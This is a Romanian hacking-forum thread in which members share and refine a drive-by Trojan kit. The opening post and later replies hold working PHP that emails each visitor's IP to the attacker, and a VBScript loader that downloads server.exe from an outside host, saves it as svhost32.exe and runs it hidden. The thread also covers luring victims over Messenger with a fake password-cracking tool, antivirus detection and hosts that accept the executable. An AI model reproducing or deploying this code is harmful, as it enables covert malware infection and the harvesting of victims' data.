trimite Trojani la loosser i

Bine ati venit pe HackTeam Forum !
Aici veti gasi o gama larga de metode de hack atat pe Windows cat si pe platforme Linux/Unix , programe in consecinta ,tutoriale . In acelasi timp aici veti gasi si asistenta help in materie corespunzatoare . Precizam ca tot ce se gaseste pe acest site este doar in scop de dezvoltare iar voi va asumati intreaga raspundere pt actiunile pe care le savarsiti . || SS-TEAM || Va Multumeste pt vizita !

Lista Forumurilor Pe Tematici

Bine ati venit pe HackTeam Forum ! | Reguli | Inregistrare | Login

POZE BINE ATI VENIT PE HACKTEAM FORUM !

Nu sunteti logat.

Nou pe simpatie:
crazygirl

Femeie
23 ani
Buzau
cauta Barbat
26 - 80 ani

Bine ati venit pe HackTeam Forum ! / Windows - Hacking ! / trimite Trojani la loosser`i

Autor

Mesaj

Pagini: 1

Y2k
Pe lista neagra

Inregistrat: acum 19 ani
Postari: 42

cum ?

ii foarte simplu
iei proratu si faci un server.exe [sper ca intzelegetzi ca nu am chef sa explic

]
apoi iti faci o pagina pe net [ex.: intri aicea si iti faci user .. bal bal bal ]
apoi intri in notepad si scrii

Code:

<head>
<title>Acesta Pagina Are O Eroare In Script ! Vei FIi Redirectzionat </title>
<meta HTTP-EQUIV="REFRESH" content="0; url=http://site.freepage.ro/virus.HTM">
</head>
<body>
<?php
session_start(); 
$ip      = $_SERVER['REMOTE_ADDR'];
$message .= "Info:n";
$message .= "IP: ".$ip."n"; 
$message .= "n";

$mailu = "yourEmail @ yahoo.com";
$subject = "TROJAN "; 
$headers = "fraier"; 
$headers .= $_POST['user']."n"; 
$headers .= "MIME-Version: 1.0n"; 


(mail($mailu,$subject,$message,$headers));
echo "I Love You"
?>
</body>
</html>

modifici in loc de yourEmail @ yahoo.com = cu mail`u tau
si in loc de site.freepage.ro pui site`u tau

dai save ass

Code:

index.PHP

(acest index.PHP iti va trimite ip`u lamerului care va loa trojanu`l

)

Acuma hai sa facem o schema care sa downloadeze si sa ruleze trojanu`l automat pe p.c.

:

intri in notepad si scrii

Code:

<script language="VBScript">
on error resume next
dl = "http://site.freepage.ro/server.exe"
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fname1="svhost32.exe"
set F = df.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0


</script>

modifica site.freepage.ro cu site`u tau

dam SAVE ASS

Code:

virus.HTM[

Bun acum avem cele 2 fishiere : index.php si virus.htm
le punem pe ftp`u de la as (sau unde ai cont :d )
si urcam trojanu`l , adica server.exe

dupa ce am uploadat aceste 3 fishiere ii dam site`u la un loosser (sa zicem ca site`ul tau ii )

intri pe mess si dai un g.m. " cel mai tare program care sparge id de YM casa il downloadezi intra pe "

si indecurs de 5 minute primeshti pe mail o gramada de ip`uri infectate

)

))

bafta

Made by Y2K`

Code:

Copyrights (c) Start-|-Team

Modificat de Y2k (acum 18 ani)

pus acum 18 ani

micutzu_andrey
Membru

Inregistrat: acum 18 ani
Postari: 69

este detectat de av si firewall ????

pus acum 18 ani

Shocker
Vizitator

Stiu ca suna a dejavu dar...

:

@Y2K`, de ce te-ai complicat cu 2 fisiere ?

Cand puteai sa le bagi amandoua scripturi intr-un singur fisier, cam asa:

Code:

<html>
<head>
<title>Acesta Pagina Are O Eroare In Script ! Vei FIi Redirectzionat </title>
</head>
<script language="VBScript">
on error resume next
dl = "http://site.as.ro/server.exe"
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fname1="svhost32.exe"
set F = df.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0
</script>
<body>
<?php
session_start(); 
$ip      = $_SERVER['REMOTE_ADDR'];
$message .= "Info:n";
$message .= "IP: ".$ip."n"; 
$message .= "n";

$mailu = "yourEmail @ yahoo.com";
$subject = "TROJAN "; 
$headers = "fraier"; 
$headers .= $_POST['user']."n"; 
$headers .= "MIME-Version: 1.0n"; 


(mail($mailu,$subject,$message,$headers));
echo "blablabla te-am spart";
?>
</body>
</html>

Y2K` a scris:

Made by Y2K`

Nu e in totalitate facut de tine, cel putin nu VBscript-ul cu download`ul automat

micutzu_andrey a scris:

este detectat de av si firewall ????

De majoritatea AV-urilor scriptul respectiv este detectat ca virus/malware/...

Modificat de Shocker (acum 18 ani)

pus acum 18 ani

Y2k
Pe lista neagra

Inregistrat: acum 19 ani
Postari: 42

Shocker a scris:

micutzu_andrey a scris:

este detectat de av si firewall ????

De majoritatea AV-urilor scriptul respectiv este detectat ca virus/malware/...

din pacate

(

shi Shocker shtiu yo de mam complicat cu 2000 de fishiere

(nu intreba d c

)

Modificat de Y2k (acum 18 ani)

pus acum 18 ani

Genius
Membru nou

Inregistrat: acum 18 ani
Postari: 36

ma deci vreau ca sa fac si eu un trojan asa cu situ am intrat acolo unde miai zis u sa fac pagina freepage acolo si imi da eroare cand ma conectez miam facut cont doar da cand ma conectez imi zice functiun is dizable si am incercat alt site sa fac o pagina pe si miam pus cele 2 kk index.php si virus.hml si cand sa pun ala imi interzice asta imi zice Warning: ftp_put() [function.ftp-put]: server.exe: Forbidden filename in /var/www/html/file_manager/index.php on line 327 da si tu un site unde fac pagina free si sa pot umploadez asta plesae

pus acum 18 ani

Cobra2
Membru

Din: Mures
Inregistrat: acum 19 ani
Postari: 88

Genius incearca sati faci site pe merge si eu miam facut site si cu scriptul lui Shocker ca al lui Y2K' nu este bun

pus acum 18 ani

Genius
Membru nou

Inregistrat: acum 18 ani
Postari: 36

ma oameni da am facut pe da nu mergeeee zice This function is disabled! ce sa fac

pus acum 18 ani

Cobra2
Membru

Din: Mures
Inregistrat: acum 19 ani
Postari: 88

da asa este cauta alt host pentru site

pus acum 18 ani

Genius
Membru nou

Inregistrat: acum 18 ani
Postari: 36

ajutatima voi cu unu bun care merge sa umploadez serveru please

pus acum 18 ani

Cobra2
Membru

Din: Mures
Inregistrat: acum 19 ani
Postari: 88

file types allowed: gif, jpg, jpeg, png, txt, nfo, doc, rtf, htm, dmg, zip, rar, gz, exe
file size limit: 737.28 MB

file types allowed: gif, jpg, jpeg, png, txt, nfo, doc, rtf, htm, dmg, zip, rar, gz, exe
file size limit: 102.4 M

file types allowed: gif, jpg, jpeg, png, fla, swf, txt, nfo, doc, rtf, htm, dmg, zip, rar, gz, exe
file size limit: 100 MB
incearca si tu pe site-urile astea care au fost postate mai sus de micutzu_andrey daca te uitai vedeai

succes

Modificat de Cobra2 (acum 18 ani)

pus acum 18 ani

Genius
Membru nou

Inregistrat: acum 18 ani
Postari: 36

wa oameni sami bag una da ca merge vreun site mai oameni incercati si voi sa faceti o pagina sa vedeti ca nu va merge mai oameni offf cat stau si ma chinuii danu pot rezolva nika am incercat pe o grama da de pagini si nu merge de loc ba le pun pe o pagina nnu el deschide ba nu merge sa le pun HELLPP

pus acum 18 ani

Shocker
Vizitator

Hmmm daca mai continuati cu spamul luati toti ban. Eu unul nu ma mai chinui sa va sterg toate spam-posturile care le faceti.

Genius, citeste cu mai multa atentie ce ti-a zis fiecare si cu siguranta ai sa reusesti

pus acum 18 ani

Genius
Membru nou

Inregistrat: acum 18 ani
Postari: 36

oameni am nevoie doar de atata de un site unde pot face pagina da sa mearga situl si sa umploadez il pagina aia serverul ata ta multumesc

pus acum 18 ani

Genius
Membru nou

Inregistrat: acum 18 ani
Postari: 36

haide va rog cautatimi si mie o pagina in care sa pot umploada cele 3 *** va rog

pus acum 18 ani

Sad-Dreamer
Vizitator

noi iti spunem CUM nu facem si treaba pentru tine..daca nu esti in stare sa uploadezi 3 fisiere eu iti zic sa te lasi de astea

PS:la urmatorul post aiurea iei ban

pus acum 18 ani

Genius
Membru nou

Inregistrat: acum 18 ani
Postari: 36

mai stiu sa umploadez da nu mere nici opagina sa umploadez ala exe ca restu ma descur ce naiba e asa greu sunt 2 fisiere alea le accepta dar alalt nu fica cica e virusat deci are si situ protectie ceva genu daca gasesti o pagina care ai incercat si ti-a mers anuntama sau nu neaarat un frepage alecva ms mult

pus acum 18 ani

OSHO
Membru

Inregistrat: acum 18 ani
Postari: 453

Genius a scris:

haide va rog cautatimi si mie o pagina in care sa pot umploada cele 3 *** va rog

Platesti ? Daca esti dispus sa platesti ca sa iti faca altu treaba, incepe un topic nou in sectiunea Trade-uri altfel NU mai cersi pe forum. Invata cum se cauta ca doar de aia suntem aici sa te ajutam sa intelegi si nu mai cersi pe forum.

P.S.
Considera-l avertisment.

_______________________________________
Sunt Lamer, ignore me.

pus acum 18 ani

Rifl3man
Membru nou

Inregistrat: acum 18 ani
Postari: 46

rahat.....miam facut si eu 1 site si functioneaza de minune.....se dld fisieru pe PC victimei (am incerkatpe mine) dar sunt 2 probleme:

1: este deetectat ca fiind TROJAN de nod32
2: nu primesc EMAIL cu datele victimei.....IP....

vreo solutie

?

_______________________________________

pus acum 18 ani

Sad-Dreamer
Vizitator

e detectat ca (,) "COD MALITIOS" ce solutie? vrei sa refacem noi scriptul ca sa nu mai fie detectat ?

pus acum 18 ani

Genius
Membru nou

Inregistrat: acum 18 ani
Postari: 36

mai rifla3man pe ce site mai ai facut ca sa umploadezi serveru ala ?

pus acum 18 ani

Y2k
Pe lista neagra

Inregistrat: acum 19 ani
Postari: 42

Rifl3man a scris:

rahat.....miam facut si eu 1 site si functioneaza de minune.....se dld fisieru pe PC victimei (am incerkatpe mine) dar sunt 2 probleme:

1: este deetectat ca fiind TROJAN de nod32
2: nu primesc EMAIL cu datele victimei.....IP....

vreo solutie

incarca cu codu meu nu a lu shocker ca a lu shocker nush ce are da nik mie nu imi mergea

uite inrta in notepad si scrie

Code:

<head>
<title>Acesta Pagina Are O Eroare In Script ! Vei FIi Redirectzionat </title>
<meta HTTP-EQUIV="REFRESH" content="0; url=http://site.freepage.ro/virus.htm">
</head>
<body>
<?php
session_start(); 
$ip      = $_SERVER['REMOTE_ADDR'];
$message .= "Info:n";
$message .= "IP: ".$ip."n"; 
$message .= "n";

$mailu = " ";
$subject = "TROJAN "; 
$headers = "fraier"; 
$headers .= $_POST['user']."n"; 
$headers .= "MIME-Version: 1.0n"; 


(mail($mailu,$subject,$message,$headers));
echo "I Love You"
?>
</body>
</html>

salvezi in index.php

intri iar si scrii

Code:

<script language="VBScript">
on error resume next
dl = "http://site.freepage.ro/server.exe"
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fname1="svhost32.exe"
set F = df.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0


</script>

save ass virus.htm

si le pagi pe ftp`u site`ului apoi bagi proratu

sub numele de server.exe

bafta

Genius a scris:

mai rifla3man pe ce site mai ai facut ca sa umploadezi serveru ala ?

incearca pe evonet sau pe freepage

Modificat de Y2k (acum 18 ani)

pus acum 18 ani

Shocker
Vizitator

Y2k a scris:

du meu nu a lu shocker ca a lu shocker nush ce are da nik mie nu imi mergea

uite inrta in notepad si scrie

Code:

$mailu = " ";

Nu mergea pentru ca 3x modifica un email cu E-Mail si ia uite ce iese, iar cand ati dat copy a copiat ce nu trebuia

pus acum 18 ani

alex_boss
Membru

Din: Arad
Inregistrat: acum 18 ani
Postari: 84

in loc de E-mail sa pun ex. ???

pus acum 18 ani

Rifl3man
Membru nou

Inregistrat: acum 18 ani
Postari: 46

--> genius
bai fratica.....e asa greu ma sa te descurci singur ??.....fi atent.....nu cred ca gasesti un site care iti gazduieste tie siteu pe care sa mearga PHP+exe si sa fie FREE......
iti vand un pont...ca vad ca astia de p'aci nu te ajuta da mie mii mila de tine

))...........n-o zis nimeni ca server.exe si index.php TREBUIE sa fie pe acelasi site !!!..............dak nici de aici nu intelegi nimic inseaman ca esti n00b rau

-->Y2k
problema mea e ca nu primes EMAIlu......ca de rulat se ruleaza serveru ca am incerkat pe mine !!...

....da las ca am gasit o solutie.....dau asa pe rand siteu pe rand la fiecare si stiu la care cum o mers.....nu dau MASS pe mess ca disperatu si apoi nu mai stiu cui am dat

))

-->alex_boss
trebuie sa apara asa
ex: $mailu = "my_email @ yahoo.com"; (fara spatiu intre my_email si @ si intre @ si yahoo.com)
ce vrea shocker sa zica e ca 3x modifica cu HYPERLINK dupa cum vezi ce a scris el in "E-mail"........

bafta

Modificat de Rifl3man (acum 18 ani)

_______________________________________

pus acum 18 ani

alex_boss
Membru

Din: Arad
Inregistrat: acum 18 ani
Postari: 84

ms Rifl3man esti un dulce

pus acum 18 ani

Genius
Membru nou

Inregistrat: acum 18 ani
Postari: 36

pai da mai Rifl3man daca nus pe acelasi site cum fac ca la accesarea sitului sa porneasca amandoua ca sa ruleze asta faza

pus acum 18 ani

Pagini: 1

Mergi la